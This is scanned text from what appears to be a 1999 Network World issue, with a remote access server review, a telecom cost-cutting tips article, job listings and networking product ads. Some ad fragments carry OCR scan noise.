and  its  companion  sliding  into  the  rear.  For  each  slot, 
3Com  offers  a  full  line  of  modem  cards  including 
HiPer  DSP  (dual/single)  PRI/T-l/E-1,  channelized  24- 
port  analog  modems,  56K  bit/sec  Quad  modems  and 
HiPer  Arc  Routers. 

Geared  more  toward  the  service  provider  market 
than  corporate  users,  Lucent’s  PortMaster  4  leads  the 
review  pack  for  sheer  size.  Lucent’s  10-slot  chassis 
can  support  a  single  T-3  card  (equivalent  to  28  T-l 
lines).  The  remaining  seven  slots  can  support  the  T-3 
connection  via  the  backplane,  each  having  a  Quad  T-l 


assign  IP  addresses.  All  clients  used  the  same  user 
name  and  password,  except  when  we  tested  Cable¬ 
tron's  CyberSwitch  CSX7010,  a  remote  access  server 
that  required  each  connection  to  have  an  individual 
user  name. 

We  tested  throughput  using  scripts  that  performed 
simultaneous  File  Transfer  Protocol  (FTP)  transfers. 
We  created  an  automated  test  script  that  opened  a 
DOS  window  on  each  client,  loaded  the  FTP  program 
supplied  with  Windows  95  and  typed  the  commands 
needed  to  upload  and  download  the  files.  Throughput 
was  measured  at  each  client  using  the  statistics  pro¬ 
vided  in  the  FTP  program,  which  ignored  transmission 
of  FTP  commands  in  its  calculations. 

We  started  with  a  group  of  10  dial-up  connections 
and  increased  the  size  of  the  group  in  10-client 
increments  until  we  reached  a  total  of  60  clients.  We 
ran  each  test  three  times  and  averaged  the  results. 
If  calls  were  dropped,  we  reran  the  test  until  we 
completed  three  successful  passes. 

Download  throughput  was  lower  than  upload 
because  the  remote  access  server  took  on  the  extra 
burden  of  performing  file  compression.  During 
uploads,  files  were  compressed  by  the  client. 


card  (four  T-l  lines  each).  For  each  slot,  Lucent  offers 
a  full  line  of  modem  cards  including  frame  relay,  PPP 
over  T-l,  channelized  T-l,  and  PR1. 

Intel’s  LanRover  accepts  its  cards  vertically  instead 
of  horizontally,  which  could  make  maintenance  more 
difficult  in  a  rack-mounted  unit.The  LanRover  unit 
supports  96  connections  via  two  dual  T-l  cards.The 
supporting  modems  occupy  the  remaining  six  slots. 
The  unit  has  two  nonswappable  power  supplies. 

Ericsson’s  Tigris  3-Slot  also  supports  96  analog  con¬ 
nections  using  its  modular  concentrator  device,  which 
uses  four  T-l  ports.  In  terms  of  modularity,  only  three 
slots  are  available.  Of  the  three,  one  slot  is  occupied  by 
the  controller  card/PRI/T-1  interface  which  controls 
the  four  T-l  ports.The  two  remaining  slots  are  available 
for  48-port  modems  required  for  full  T-l  support. 

Cabletron’s  CyberSwitch  chassis  provides  1 6-slots. 
A  24-port  modem  card  must  accompany  each  PRI/ 
T-l/E-1  port  (thus,  one  additional  port  requires  two 
slots);  and  one  PC  controller  card  is  required  for 
every  four  PRI  port/modem  card  pairs.  Like  Intel’s 
LanRover,  the  CyberSwitch  CSX7010  also  accepts  its 
cards  vertically  instead  of  horizontally.  The  industrial- 
strength  chassis,  which  looks  like  a  PC,  comes  with 
two  hot-swappable  power  supplies.  However,  Cable¬ 
tron’s  modem  cards  are  not  hot-swappable. 

NBase-Xyplex’s  EdgeBlaster  was  the  least  modular 
of  the  products  we  reviewed. The  four  T-l  ports  are 
on  a  single  card  and  are  not  clearly  labeled.  In  addi¬ 
tion,  the  unit  houses  its  cards  vertically. 

Installation  and  documentation 

We  invited  each  vendor  to  have  a  technician  on 
hand  during  testing  to  answer  our  questions  and  help 
troubleshoot  any  problems  we  encountered.  Only 
Intel  and  NBase-Xyplex  did  not  send  a  technician.  In 
both  cases,  however,  we  had  no  trouble  getting  the 
units  up  and  running  without  onsite  support. 

In  fact,  NBase-Xyplex’s  EdgeBlaster  was  the  easiest 
and  quickest  unit  to  install  of  those  we  tested.  The 
documentation  was  excellent  and  readily  available  on 
the  unit’s  built-in  hard  disk  drive,  thanks  to  a  Web- 
style  search  engine. 

Ascend  provided  the  most  complete  and  easy-to- 
use  documentation  package  with  the  Max  6000.  Used 
in  conjunction  with  the  menu  interface,  the  refer¬ 
ence  guide  is  an  invaluable  troubleshooting  resource. 

Mapping  additional  modem  cards  to  3Com’s  NT 
RAS  Service  via  the  backplane  can  be  a  bit  difficult, 
but  the  Total  Control  system’s  documentation  is  full 
of  good  illustrations  and  3Com’s  support  was  helpful. 

We  installed  and  configured  Lucent’s  PortMaster 
4  easily  with  a  well-organized  graphical  user  inter- 
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face  tool.  Helpful  installation  manuals 
and  comprehensive  CD-ROM  docu¬ 
mentation  were  available  when  we 
needed  them. 

With  Intel's  LanRover  unit,  we 
required  customer  support  to  resolve 
some  minor  interface  problems;  how¬ 
ever,  overall  we  were  pleased  with  the 
wizard-based  configuration  guides  and 
additional  CD-ROM  documentation. 

Despite  the  lack  of  a  graphical 
interface,  we  had  no  trouble  getting 
through  the  command-line  interface  of 
Ericsson's  Tigris  3-Slot. Tlie  company 
provided  voluminous  printed  documen¬ 
tation  and  online  help.  Conversely,  a 
poorly  organized  user  interface  made 
installing  Cabletron's  CyberSwitch 
CSX7010  tricky,  and  the  minimal  docu¬ 
mentation  provided  didn’t  help  matters. 

Wrap-up 

There  are  many  factors  to  consider 
before  settling  on  a  remote  access 
server.  If  throughput  is  your  main  pri¬ 
ority,  Ascend 's  Max  6000  is  a  solid 
choice  reinforced  by  the  unit’s  range 
of  features  and  compact  design.  But  a 
lack  of  scalability  clouds  the  Max 
6000's  Blue  Ribbon  Award  win. 

While  not  as  fast  as  the  Max  6000, 
the  Total  Control  system  from  3Com 
excels  at  manageability  and  scalability, 
earning  it  a  very  close  second  in  our 
tests.  Our  one  complaint  is  that  there 
is  no  way  to  properly  shut  down  the 
integral  Windows  NT  Server  before 
powering  down  the  chassis. 

Lucent,  too,  offers  greater  scalability 
in  its  PortMaster  4.  Its  864-call  capaci¬ 
ty  is  greater  than  what  most  mid  size 
to  large  enterprises  require,  but  it’s 
backed  by  a  redundant  power  supply 
and  hot-swappable  cards.  However, 


Cisco,  Nortel 
demur 

We  invited 
two  industry¬ 
leading  remote 
access  server 
vendors  that 
declined  to  sub¬ 
mit  products  for  testing.  Cisco 
declined  because  we  opted  to 
use  a  one  client-one  modem  test 
bed  rather  than  Midnight 
Networks’ Avalanche/RA  remote 
access  performance  tester. 

Nortel  Networks  initially 
accepted  our  invitation  and 
planned  to  send  its  5399  Remote 
Access  Concentrator,  which  won 
our  comparative  review  last  year. 
However,  Nortel  had  to  back  out 
at  the  last  minute  because  of 
scheduling  conflicts. 


you’ll  sacrifice  throughput  for  scale 
with  the  PortMaster. 

Easy  configuration  is  common  to 
Intel’s  LanRover  and  Ericsson’s  Tigris 
3-Slot,  though  both  are  held  back  by 
limited  modularity.  Impressive  through¬ 
put  isn’t  enough  for  us  to  recommend 
Cabletron's  CyberSwitch  CSX7010;its 


feature  set  is  sparse,  and  its  cards  are 
not  hot-swappable.  Easy  installation 
and  a  compact  design  are  also  not 
enough  to  move  NBase-XvpIex’s 
EdgeBlaster  to  the  front  of  the  line. 

Van  Cleve  is  network  project  man¬ 
ager  and  Chu  is  a  network  test  engi¬ 


neer  at  NTS/XXCAL  Testing  Labora¬ 
tories  in  Los  Angeles,  a  worldwide 
independent  test  lab  specializing  in 
software  and  hardware  compatibili¬ 
ty,  functionality  and  performance 
testing.  You  can  contact  them  at  van- 
cleve @  ntsxxcal.com  or  visit 
NTS/XXCAL  at  www.ntsxxcal.com. 
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Take  the  guesswork  out  of 
choosing  the  right  VPN  solution 


MAXIMIZING  COST  SAVINGS 
AND  BUSINESS  EFFICIENCIES 


Have  confidence  in  the 
solution  you  choose. 

Network  World  Technical  Seminars  has  brought  together  one  of  the 
industry's  leading  VPN  experts,  Eric  Zines  ofTeleChoice,  Inc.,  and 
leading  VPN  solution  providers  in  a  comprehensive  one-day  seminar. 
The  program  is  designed  specifically  to  help  you  better  understand  this 
technology,  the  factors  you  must  consider  during  the  decision-making 
process,  and  the  information  you  need  to  choose  the  right  VPN  solution 
for  your  business.  Mr.  Zines  will  explain  not  just  how  VPNs  work,  but 
how  they  can  be  applied  to  real-world  situations.  Equally  as  important  is 
knowing  which  solution  provider  can  best  guide  you  through  the 
implementation  process. This  seminar  will  give  you  the  unique 
opportunity  to  discuss  your  specific  needs  via  live,  face-to-face 
interaction  with  the  industry's  leading  VPN  solution  providers. 


Benefits  of  Attending 

•  Discover  how  VPNs  can  benefit  your  enterprise 

•  Explore  future  directions  of  VPNs  and  their  effect 
on  your  business 

•  Compare  and  contrast  product  and  service  offerings 
available  for  implementing  a  VPN 

•  Gain  insight  into  the  network  management  and 
administration  issues  associated  with  VPNs 


Learn  from  the  Leader 

■  Network  World  Technical  Seminars  is  known 

throughout  the  networking  community  for  providing 
IT  professionals  with  expert,  unbiased  education  on 
the  latest  technologies  and  trends  shaping  today's 
mission-critical  networks.  This  reputation 
combined  with  our  100%  satisfaction 
guarantee  makes  us  the  educator  of  choice 
in  the  networking  industry. 


Eric  Zines,  Senior  Market  Analyst  withTeleChoice, 
Inc.,  has  developed  and  will  present  this  seminar. 
He  continually  tracks  and  interprets  the  rapid 
changes  in  the  VPN  market  and  will  share  with  you 
his  valuable  insights,  difficult  to  find  anywhere  else. 


Seminar  Registration  Fee  —  $450 

Bring  your  colleagues  and  take 
advantage  of  our  Team  Discounts 

2  registrants  $400  each 

3  registrants  $350  each 
Every  4th  registration  is  FREE 


1999  Seminar  Tour 

Chicago  •  April  6 
Denver  •  April  7 
San  Francisco  •  April  20 
Seattle  •  April  21 
Boston  •  May  4 
New  York  •  May  5 
Philadelphia  •  May  26 
Washington,  DC  •  May  27 


For  complete  program  agenda  and 
registration  information,  contact  us  at 


(800)643-4668 


www.nwfusion.com/seminars 


If  you  are  interested  in  sponsorship  opportunities,  please  contact  Andrea  D'Amato  at  (508)  820-7520  or  adamato@nww,c6ni.; 
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Strategies 


Cost  cutting 


These  eight  tips  can  help  you  save  big  bucks 
on  voice  and  data  telecom  service  charges. 


BY  TOM  THORNE 

f  you’re  responsible  for  providing  the  best  possi¬ 
ble  service  at  the  lowest  possible  cost,  you’d  be 
wise  to  focus  your  efforts  on  making  sure  your 
company  isn’t  paying  more  than  it  has  to  for 
telecom  services. 

In  my  1 3  years  as  a  cost  control  analyst  and 
network  engineer  for  several  banks,  I’ve  found  many 
specific  ways  to  hold  down  telecom  costs.  Five  of 
my  tips  were  outlined  in  a  previous  story  (JSIW,  Dec. 
7, 1998,  page  69),  but  the  savings  don’t  stop  there. 
Here  are  eight  more  strategies  that  can  help  you 
manage  your  telecom  expenses. 

1.  Review  trunk  design.  Keep  up  with  corporate 
relocations,  downsizing  and  changes  in  calling  pat¬ 
terns  by  regularly  reviewing  the  size  of  your  PBX 
trunk  groups  to  make  sure  you’re  not  wasting 
money  on  unused  trunks  orT-1  lines.  If  you  have  a 
large  PBX,  perform  this  review  every  six  months. 
For  smaller  PBXs,  it’s  wise  to  do  this  at  least  once 
per  year. 

If  you’re  buying  a  PBX  for  a  new  location  from  a 
local  exchange  carrier,  don’t  let  the  LEC  do  the 
trunk  sizing  for  you.  It’s  your  job  to  provide  the 
best  service  at  the  lowest  cost.  Engineer  the  trunk 
size  requirements  yourself  or  use  a  third  party. 

2.  Watch  for  incorrect  PIC  codes.  If  your  compa¬ 
ny  has  a  master  contract  with  any  interexchange 
carrier,  your  long-distance  calls  should  be  billed  on  a 
separate  invoice  from  the  IXC.  If  those  calls  are 
being  billed  on  another  carrier’s  invoice,  your  EXC 
may  be  using  the  wrong  primary  interexchange  car¬ 
rier  (PIC)  code  for  your  company.  Your  LEC  and  IXC 
need  to  know  the  correct  PIC. 

Long-distance  calls  billed  by  LECs  or  noncontract 
IXCs  normally  cost  two  to  five  times  the  amount  of 
calls  billed  under  master  contracts. 

3.  Negotiate  directory  assistance  rates.  Long- 
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•  Money-saving  tips. 

•  Mark  Gibbs'  telecom  billing  woes. 


distance  directory  assistance 
rates  can  vary  by  as  much 
60%  among  carriers.  If  your 
firm  makes  a  lot  of  directory 
assistance  calls,  negotiate  this 
rate  with  your  carrier. 

4.  Check  for  charges  from 
unauthorized  long-distance 
vendors. 

Almost  invariably,  charges 
from  unauthorized  and  unap¬ 
proved  long-distance  vendors 
will  periodically  appear  on 
your  LEC  invoice. 

You’ll  often  have  no  way 
of  knowing  how  these  charges  arrived  on  your  bill, 
but  it  could  have  been  through  illegal  means  such 
as  slamming.  However  the  charges  got  there,  imme¬ 
diately  stop  them  from  recurring.  Let  the  LEC  know 
that  you  will  not  pay  for  any  charges  from  certain 
vendors. 

5.  Familiarize  employees  with  international  dial¬ 
ing  procedures. 

Many  people  who  don’t  know  how  to  make  inter¬ 
national  long-distance  calls  use  the  operator  to  place 
the  call  instead  of  learning  how  to  do  it  themselves. 
Operator-assisted  calls  cost  between  two  and  10 
times  more  than  direct-dial  calls.  If  your  firm  needs 
to  make  international  calls,  teach  employees  the 
right  way  to  dial  them. 

6.  Watch  for  unnecessary  conference  bridges. 

Sometimes  conference  bridges  are  scheduled  for  a 
meeting  that  is  later  cancelled  —  unbeknownst  to 
the  carrier.  Make  sure  your  colleagues  who  arrange 
conference  bridges  know  your  firm  will  probably 
have  to  pay  for  unused  conference  calls  unless  the 
bridge  is  cancelled  12  to  24  hours  in  advance. 

Many  firms  use  specific  conference  bridge 
providers  to  obtain  a  good  overall  rate.  If  your  com¬ 
pany  falls  into  that  group,  make  sure  employees 
arrange  conference  bridges  through  the  provider 
and  not  through  the  LEC  at  standard  rates. 

7.  Review  calling  plans  for  cost  efficiency. 
Discount  intra-local  access  and  transport  area  calling 
plans  offer  a  bulk  number  of  long-distance  minutes 
for  a  flat  fee  and  charge  a  predetermined  rate  for 
each  additional  minute.  Such  plans  were  sometimes 


beneficial  when  IXCs  weren’t  allowed  to  carry  intra- 
LATA  long  distance,  but  the  plans  are  rarely  cost- 
effective  now. 

If  you  do  keep  one  of  these  plans,  review  it  at 
least  every  three  months. The  plans  are  often  forgot¬ 
ten,  and  sometimes  companies  don’t  even  come 
close  to  using  the  minimum  number  of  minutes  for 
which  they’re  paying  each  month. 

8.  Keep  an  eye  on  miscellaneous  charges.  Watch 
your  noncontract  long-distance  and  LEC  invoices  for 
minimum  usage  charges  from  carriers,  which  are 
often  $3  per  line. 

These  charges  often  mysteriously  appear  on  LEC 
invoices.  Contact  the  carrier  you  have  a  contract  with, 
make  sure  your  calls  are  being  billed  on  its  invoice, 
and  request  a  credit  for  the  charges  you  received. 

Also,  check  for  other  potentially  unnecessary 
expenses  such  as  call  interrupt  charges  and  “find-it” 
calls. These  items  often  cost  $2  to  $13  per  use  and 
can  be  easily  overlooked  on  large  invoices. 

Try  to  isolate  the  telephone  number  from  which 
the  calls  are  originating,  and  notify  the  appropriate 
manager  of  the  charges.  Once  individuals  are  aware 
of  the  costs,  these  types  of  calls  should  occur  less 
often. 

No  one  wants  to  spend  money  needlessly,  so  try 
these  tips  to  eliminate  unnecessary  and  wasteful 
expenses  and  make  your  budget  go  further. 

Thorne  is  a  network  engineer  for  Bank  of 
America  in  Atlanta.  He  can  be  reached  at 
tgalthorne@aol.cotn. 
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Network  World's 

Signature  Series  issues,  — NelWOfMA/Ollll 

published  bi-monthly, 

provide  insights,  opin-  — [J 

ions  and  information  on  the  most  important 

issues  shaping  the  networked  world.  The 

award-winning  Signature  Series  issues  include: 

■  The  Network  World  200  Issue 

4/26/99 

■  The  You  Issue 

Showcasing  the  Network 
Leaders:  7/26/99 

■  The  Buzz  Issue 

9/27/99 

■  The  Best  Issue 

11/15/99 


For  more  information  call: 
800-622-1108  Ext.  7510 


Sr.  Technical  Analyst. 

Resp.  for  specific  functional 
areas  in  BSCS  software  imple¬ 
mentation  &c  conversion  & 
integration  efforts;  provide  cus¬ 
tomer  support  for  software 
related  issues  &  conversion 
strategies,  execute  test  plans, 
research  & c  document  defects, 
prov.  Proj.  mgmnt  reports,  &c 
write  design  documents;  work 
with  SUN,  DEC,  HP  or  IBM 
platforms,  Unix,  Oracle,  C, 
Windows,  SQL  &  TCP/IP. 
$59,490/yr.  40  hrs/wk.  Bach,  or 
equiv.  in  Comp.  Sc.,  Comp. 
Eng.,  Math  or  Int’l  Fin.  &:  2  yrs. 
exp.  in  job  or  as  System 
Analyst,  Fin.  Analyst,  or 
Research  Ass’t(computer  envi¬ 
ron),  OR  M.S.  &  1  yt  exp. 
Submit  resume  to  HR  Director, 
LHS  Communications  Systems, 
Inc.,  6  Concourse  Pkwy,  Suite 
2700,  Atlanta,  GA.  30328 
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Buy  one  Get  one  at  50%  Off* 


To  get  maximum  exposure  for  your 
Recruitment  Campaign... 

•  Place  an  ad  in  the  Networking  Careers  Section  of  Network  World 

•  Then  receive  50%  off*  on  the  repeat  of  an  ad  within  4  weeks 

Talk  to  Network  World 
800-622-1108,  Ext.  7510 

*TTie  repeat  ad  must  be  scheduled  when  the  original  ad  is  placed.  Restrictions  may  apply. 


Software  Eng. 

Design,  dev.  &  implement  BSCS 
billing  software  for  telecommunica¬ 
tion  cos;  design  &c  dev.  new  billing 
systems  for  network  providers; 
work  with  R&D  to  dev.  internet 
software;  analyze,  design,  dev.  & 
test  in  complete  object  oriented(oo) 
lifecycle  dev.  environ;  prov.  OO 
support  in  reengineering 
efforts;coord.  dev.  &C  reengineering 
efforts  to  teams  in  co.  European 
office;  working  with  JAVA, 
HTML.  CORBA,  SQL,  &  Oracle. 
$62,774/yr.  40  hrs/wk.  B.S.  or 
equiv.  req’d  in  Comp.  Sc.,  or 
Electrical  &C  Software  Eng.  &  1  yr. 
exp.  in  job  offer  or  as 
Implementation  Eng.  or  Software 
Developer.  Must  speak,  read,  & 
write  German  &C  English  languages. 
Submit  resume  to  HR  Director, 
LHS  Communications  Systems, 
Inc.,  6  Concourse  Pkwy,  Suite 
2700,  Atlanta.  GA.  30328. 


Data  Architect 

Be  resp.  for  analyzing  data 
requirements  &  codes  of  the 
BSCS  application.  Design 
database  structures  for 
Design  Change  Requests, 
Deflect  Reports,  and  re-archi¬ 
tecture.  Troubleshoot  problem 
area  re:database  structures, 
otored  procedures,  &  triggers. 
Write  &  apply  database  scripts 
to  development  &  system 
testing  scripts.  Participate  in 
High  Level  Design  walk¬ 
throughs.  Salary:  $44,866/yr. 
40  hrs/wk.  B.S.  Computer 
Sc.,  Computer  Eng.  or 
Management  Sc.  &  2  yrs.  exp. 
in  job  or  as  Systems  Analyst, 
OR  M.S.  &  1  yr.  exp.  Submit 
resume  to  HR  Director,  LHS 
Communications  Systems, 
Inc.,  6  Concourse  Pkwy,  Suite 
2700,  Atlanta,  GA.  30328 


Senior  Software  Engineer  to 
manage  projects  and  lead  teams 
performing  application  analy¬ 
sis,  design  and  development  for 
OLTP  systems  in  client/server 
architecture,  data  warehouse  / 
data  mart,  logical  and  physical 
data  and  process  modeling, 
writing  software  requirements 
specifications  and  software 
design  specifications,  assign¬ 
ments  to  be  performed  using 
SSAD,  ORACLE  7.x  RDBMS, 
Designer/2000,  ER-Win, 
System  Architect,  SQL* Plus, 
Microsoft  Project  on  Windows 
and  UNIX  operating  systems; 
manage  projects  in  ISO-9001 
certified  or  CMM  level-3/4/5 
s/w  development  framework. 
Require:  Master  of  Science 
degree  or  equivalent  with  con¬ 
centration  in  Computer 
Science,  Computer  Information 
Systems  or  related  Field  with 
one  year  experience  in  the  job 
offered  or  in  a  similar  position. 
Bachelor's  degree  or  equivalent 
in  any  of  the  above  areas  plus 
five  years  of  progressive  rele¬ 
vant  experience  will  be  accept¬ 
ed  in  lieu  of  Master's  degree. 
80%  traveling  required.  Salary 
range:  $60,000  -  $65,000  per 
year,  40  hours  per  week. 
Send  resume  to:  Venkatesh 
Ramamoorthy,  Vice  President, 
Cosyne  Enterprises,  Inc.,  3235 
Satellite  Blvd.,  Bldg.  400  Suite 
300,  Duluth,  GA  30096. 


For  More 

Information  About 
Advertising  in 
Network  Careers 
1-800-622-1108 


To  get  updated  information  go  to: 
www.nwfusion.com 


Las  vegas  convennun  center 
Rooms  N109  &  N110 
May  11  &  12,  10:00  am  -  6:00  pm 
May  13,  10:00  am  -  4:00  pm 


Career  Fair 

NETW  RLD  INTEROP 

Bring  Plenty  of  Resumes! 


Participating  Companies  to-date: 


@Home  Network 

Fax:877-310-3326 

Email:  jobs@corp.home.net 

www.home.net/jobs 

AT&T  Solutions 

www.att.com/solutions 

Ascend  Communications 

Fax:  510-747-2623 
Email:  jobs@ascend.com 
www.ascend.com 

Axis  Communications,  Inc. 

Fax:  781-938-1188 

Email:  lferraro@axisinc.com 

www.axis.com 

The  Boeing  Company 

www.boeing.com/employment/ 

Comverse  Network  Systems 

Fax:  516-677-7136 

Email:  careers@comverse.com 

www.comversens.com 

tnterprise  Networking  Systems 

Fax:  650-568-0185 
Email:  jobs@ens.com 
www.ens.com 

F5  Networks,  Inc. 

www.f5.com 


Fidelity  Investments 

Email:  resumes@fmr.com 
www.fidelity.com/jobs 

General  DataComm 

Fax:  203-598-7944 
Email:  hr@gdc.com 
www.gdc.com 

GTt 

www.gte.com 

International  Network  Services 

Email  :staffing@ins. com 
www.ins.com 

Maker  Communications 

Email:  resume@maker.com 
www.maker.com 

Nortel  Networks 

Fax:  978-916-3510 

Email:  nortelnetworks@isearch.com 

www.nortelnetworks.com 

Shared  Medical  Systems 

www.smed.com 

US  West 

Fax:  303-896-5318 
Email:  recruit@uswest.com 
www.uswest.com 
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For  Free  Product  Info* 


prise 


SNMPc  WorkGroup 


Castle  Rack 

Computing 

Phone:  408.366.6540 
Fax:  408.252.2379 


Download  a  Free  Evaluation 

www.castlerock.com 


Manager 

I  ilnui'.l  ni.Hiiigcmcm 
tor  \\  imlmw  NT.  Supports 

■■  remote  consoles  and 

; 

' ^jHilling  iigcnts,  Web  Trend 
■  Reporting  arid  more. 


A  ft  o  triable  in  a  nageme  n  t 
for  small  networks. 

With  an  installed  base 
of  over  60,000  copies, 
this  popular  tool  is  resold 
bv  major  Ol  .Ms,  including 
Cisco  and  ACC. 


Network 

Management 

for  Microsoft  Windows 


cs>N’ 


ift 
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Lastar  Datacomm  Solutions 


Call  Us  Today.. .Get  Connected  TOMORROW! 


350MHz  Enhanced  CAT  5  Patch  Cords 


Description 

3’  Datatwist™  350MHz  CAT  5  Patch  Cable 
5'  Datatwist™  350MHz  CAT  5  Patch  Cable 
7'  Datatwist™  350MFIz  CAT  5  Patch  Cable 
10'  Datatwist™  350MHz  CAT  5  Patch  Cabli 
14'  Datatwist™  350MHz  CAT  5  Patch  Cabli 
25'  Datatwist™  350MHz  CAT  5  Patch  Cable 
Your  Choice  of  Colors:  Grey,  Blue,  Green,  Red,  Yellow,  and  Black! 


CAT  5  Patch  Cords 


Description 
1 '  CAT  5  Patch  Cable 
2'  CAT  5  Patch  Cable 
3’  CAT  5  Patch  Cable 
5'  CAT  5  Patch  Cable 
T  CAT  5  Patch  Cable 
10'  CAT  5  Patch  Cable 
14'  CAT  5  Patch  Cable 
25'  CAT  5  Patch  Cable 
35'  CAT  5  Patch  Cable 
25'  CAT  5  Patch  Cable 


PCI  NICs 


Description  Ref.  it 

3Com  10/100  Auto-Sensing  17583 

3Com  EtherLink  XL  (10Mbps)  18008 

Samsung  10/100  17345 

KTI  10/100  DEC  Chipset  15428 

KTI  1 0/1 00  RealTek  Chipset  1 7581 

KTI  Combo  lOBase-T  12765 

KTI  MM  ST  Fiber  18550 


MSRP 

$89.95 

$59.95 

$23.95 

$34.95 

$29.95 

$27.95 

$179.95 


Description  Ref.  it 

ATI  lOBaso-T  AUI  Transcervei  04111 

AT!  100Base-TX  Ml!  Transceiver  12983 

KTI  lOBase-T  AUI  Transceiver  12763 

KTI  10Base-2  BNC  AU!  Trans.  12762 

KT I  1 0Base-T/2  Converter  1 7374 

KTI  10C9ase-TX/FX  Converter  17378 


We  Also  Offer  A  Full  Line  Of  Products  From  Transition  Networks  - 
Ptease  Ceil  For  Latest  Part  Numbers  &  Pricing! 


Lastar  also  provides 
quality  services  such 
as  network  design 
and  installation.  Call 
us  today  or  visit  our 
website  for  more 
information! 


C<S «* 


MSRP 

$3.35 

$3.59 

$3.95 

$4.45 

$4.95 

$5.95 

$6.95 

$8.95 

$8.95 

$10.75 


Hubs/Switches/Routers 


Lastar  Carries  A  Full  Line  Qf  Switches  From  The  Industry's  Leading 
Manufacturers  Including: 


388“ 


Ci»t«  St»T»t 


caBLeTRon 

_ SYSTCmS 


Your  Choice  of  Colors:  Grey,  Blue,  Green,  Red,  Yellow,  Black,  &  White! 


AMSUNj 


m 


Special  Offer  -  KTI  8-Port  10/100Base-TX  NWay  Workgroup 
Switch  With  Expansion  Slot  Is  Now  Only  $399.95!! 


Power  Protection 


& 


Lastar  Proudly  Features  Power  Protection  Products  From 


ISA  NICs  Are  Also  Available  •  Please  Call  For  Part  Numbers  &  Pricing! 


««Entc«N  rowEn  cxwytxiMOa 


Special  Offer  -  Get  The  New  USB/Windows™  98  Enhanced 
APC  Pro  350  For  Only  $179.95 


MSRP 

$27.95 
$189.95 
$21.95 
$21.95 
$8995 
$389  95 


Structured  Cabling  Products 


Quality  Structured  Cabling  Components  From  Quality  Manufacturers: 

das1—*  FUUKf=. 


HITACHI 

Hitachi  Cabla  Manchaatar.  Inc. 


y, 


MOO-TAR 


Ja$taY( 

a. 


800-291-6031  •  www.lastar.net 


1501  Webster  St. 
Dayton,  OH  45404 
Fax  937-223-6385 
8:30am  to  6pm  M-F 


VISA 


I  Card* 


Most  Orders  Ship  Same  Day  Via  UPS 
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Introducing  the  Router  that’s  easier  to  configure. 


Web 
Browser 
Configuration. . . 
It’s  Easier! 


Introducing  The  Emerald,  a 
Frame  Relay  Access  Router  to 
replace  all  others.  Why?  Web 
Browser  Configuration!  Use 
Netscape  4.5  or  MS  IE  4.0  to 
set  up  and  configure  your 
Emerald.  The  Emerald  allows 
you  to  monitor  your  network 
from  your  desktop  using  the 
Web  Browser  you  use  every 
day.  For  less  than  the  price  of 
one  week’s  training  on  those 
other  routers,  you  can  be  up 
and  running  in  minutes! 


Call  800-223-9758  to  receive  a  FREE  c  mo  Emerald  to  try 
for  45  days,  If  you’re  not  convinced  it’s  the  easiest  router 
you’ve  used,  send  It  back.  Wh  could  be  f  aster? 


Take  a  look,  youTl  like  what  you  see. 


American  Technology  800-777-551  lor  +1-406-777-5511  fax:  406-777-5512  email:  info@atii.com 


Lencan 

TECHNOLOGY 

www.atli.com 
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The  Simple,  Powerful  &  Affordable 


Proven  Firewall  Technology 
»  Network  Address  Translation 

•  Unlimited  User  License 

•  High  Performance 

•  Transparent  Network  Access 

•  Easy  to  Configure  &  Operate 

•  Remote  Web  Based  Management 

•  Cost  Effective 

•  Time  Based  Access  Control 

•  URL  &  Content  Filtering 

Email,  Pager  &  SNMP  Trap  Alerts 
Email  Proxy 

ISDN,  xDSL  &  Cable  Modem  Support 
Win95/NT  Management  Client 


$  995.00 


1 -800-775-4GTA 

Web:  http://www.gnatbox.com 
Email:  gb-sales@gta.com 
Tel :  +1  -407-380-0220  Fax:  +1  -407-380-6080 


For  Free  Product  Info  •  www.networkworld.com/infoxpre 


For  Free  Product  Info* 


nrr/  f-iTtmiri  m//7c  ju 

Hub  of  the  Network  Buy  6  The  Hu  i 

Network  Bit v  N 


MANAGE  1,000  SERVERS 

from  4  or  more  KVM  stations 


rose 

myx  r-s 


Rose  has  done  it  again!  The  UltraMatrix  is  a  keyboard-video-mouse  (KVM)  switch  that  has  aii 
the  features,  is  the  simplest  to  use,  and  costs  the  least. 


err  AXIOM  i  rcTATinw  o  o-r  AXIOM  o  llfitinw  a  EXPANSION  CABLES  CONNECT  ULTRAMATRIX 
STATION  1  STATION  2  STATION  3  ^STATION  4  FROM  1  TO  1  .OOO  COMPUTERS! 


Simultaneous  access  from  4  or  more  KVM  stations 
Supports  multiple  platforms:  PC,  Sun,  Unix,  others 
Full  keyboard  and  mouse  emulation  for  automatic 
booting 

Expands  easily  with  plug-in  cards 
Sleek  on-screen  display  simplifies  user  interface 
Innovative  cabling  system  makes  installation 
clean  and  easy 
Uses  less  rack  space  than  other  switches 
Security,  access  groups,  user  profiles,  status  GROW  WITH 
screen,  flash  memory,  and  more  ROSE  PRODUCTS 


Rose  has  been  providing  innovative  solutions  since  1984.  We 
have  a  complete  line  of  KVM  switches  for  server  rooms, 
classrooms,  desktops,  and  other  uses.  Ask  us  about  our 
KVM  extenders  using  coax  or  twisted  pair.  We  also 
have  an  extensive  line  of  serial  and  parallel  data 
switches.  Call  us  today  to  discuss  your  application. 


Aerospace/Military 


Computer  Room 


Plant  Control 


Trading  Room 


Control  Consoles  Class  Room/Corporate 


Call  800-333-9343  for  your  catalog 

flROSE 

bT^ELECTRONICS 


USA  Office:  10707  Stancliff  Road  Houston,  Texas  77099  Phone  281 -933-7673  Fax  281-933-0044 
UK  Office:  Phone  +44  (O)  1264  850574  Fax  +44  (O)  1264  850529 


WWW.ROSEL.COM 
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Less  is... 


Manage  all  of  your  servers  with  just  one  keyboard,  monitor 
and  mouse!  The  AutoYiew  Commander  eliminates  the 
need  for  peripherals  at  every  computer.  Fewer  peripherals 
means  less  clutter  and  less  wasted  money. 


MORE  Room 
MORE  Control 
MORE  Cost-effective 
What  more  could  you  want? 


Designed  for 

r^n 

:'4M3 

Microsoft* 

WindowsNT” 


NetWare. 


Cybex,  the  Cybex  logo.AutoView  and  Commander  are  trademarks  or 
registered  trademarks  of  Cybex  Computer  Products  Corporation. 


Contact  us  at  CYBEX  (800)  932-9239, 
fax  (256)  430-4030  or 

www.cybex.com 


■  miwiwiiKi  i.iiii  .i  ii V 
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LittleBrother 


Little  Brother  is  watching  you  use  the  Internet1 


The  Global  Leader 
In  WAN  Adapters 


Introduces . 


CHAT  ABOUT  IT! 


tow 


HefloV 


Utlo  everybody 


H *>■£.*&* 


Keo 


I'm  been  Belgriaa.  bom 


you  fobs 


#.  '7  @  wwv  world.com/infoxpfess 


